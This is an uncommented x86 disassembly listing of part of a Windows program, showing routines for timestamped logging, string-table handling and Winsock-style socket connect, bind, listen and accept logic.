		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	near ptr 77C47C60h
		nop
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	near ptr byte_5F285B
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		call	near ptr byte_5F285B
		nop
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		dd 90909028h, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFDB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DA4
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp
		call	ebp
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
